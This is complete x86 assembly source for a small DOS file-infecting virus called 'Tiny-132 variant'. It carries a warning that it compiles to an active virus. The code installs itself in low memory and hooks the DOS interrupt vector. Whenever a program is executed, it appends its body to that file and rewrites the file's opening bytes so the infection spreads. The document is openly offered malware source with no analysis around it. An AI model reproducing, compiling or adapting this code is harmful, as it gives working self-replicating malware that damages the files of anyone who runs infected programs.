; Tiny-132 virus variant - by Tara K. Allen
; COMPILES TO ACTIVE VIRUS!!!  BE CAREFUL!!!

o           equ <offset>
b           equ <byte ptr>
w           equ <word ptr>

BASE        equ 0504h               ; Base offset in low memory

.model tiny
.code
.186
org 0100h

start:      db    04Dh              ; bootstrap code - activate virus
            db    0E9h,004h,000h    ; jmp virus (near version)

bytes       db    0B4h,04Ch,0CDh,021h

virus:      pusha                   ; save all registers
            mov   di, si            ; get base pointer
            add   si, [si+2]
            movsw
            movsw                   ; si now = virus

            xor   cx, cx            ; es:di = resident position
            mov   es, cx
            mov   di, BASE+4
            cmpsb                   ; already installed?
            je    done

            dec   si                ; copy virus to low memory
            dec   di
            mov   cl, o(virend)-o(bytes)
            rep   movsb

            mov   di, 32h*4         ; es:di = interrupt vector 32h
            xchg  ax, cx            ; ax:cx = new int21h vector
            mov   cx, BASE+o(int21)-o(bytes)
sloop:      xchg  ax, cx            ; install interrupt vector
            xchg  ax, es:[di-11h*4]
            stosw
            jcxz  sloop

done:       push  ds                ; restore registers
            pop   es
            popa
            jmp   si                ; jump to start

int21:      cmp   ax, 4B00h         ; if not exec, then exit
            jne   ijmp
            pusha                   ; save all registers
            push  ds

            mov   ax, 3D02h         ; open the file
            int   32h
            jc    idone             ; jump if error
            xchg  bx, ax            ; bx = handle

            push  cs                ; ds = cs = 0
            pop   ds
            mov   di, BASE          ; bytes array is at 0000:BASE

            mov   ah, 3Fh           ; read original bytes
            mov   cx, 4
            call  ifile
            cmp   b [di], 4Dh       ; check for .exe or already installed
            je    iclose

            mov   ax, 4202h         ; seek to end of file
            int   32h
            xchg  ax, si            ; si = file size

            mov   ah, 40h           ; write body of virus to file
            mov   cl, o(virend)-o(bytes)
            call  ifile
            mov   w [di], 0E94Dh    ; set up virus header
            mov   w [di+2], si

            mov   ax, 4200h         ; seek to start of file
            int   32h

            mov   ah, 40h           ; write virus header to file
            mov   cl, 4
            call  ifile

iclose:     mov   ah, 3Eh           ; close the file
            int   32h
idone:      pop   ds                ; restore registers, jmp to old int
            popa
ijmp:       jmp   dword ptr cs:[32h*4]

ifile:      mov   dx, di            ; dx = bytes array is at 0000:BASE
            int   32h
            cwd                     ; cx:dx = 0
            xor   cx, cx
            ret                     ; return

virend:

end start
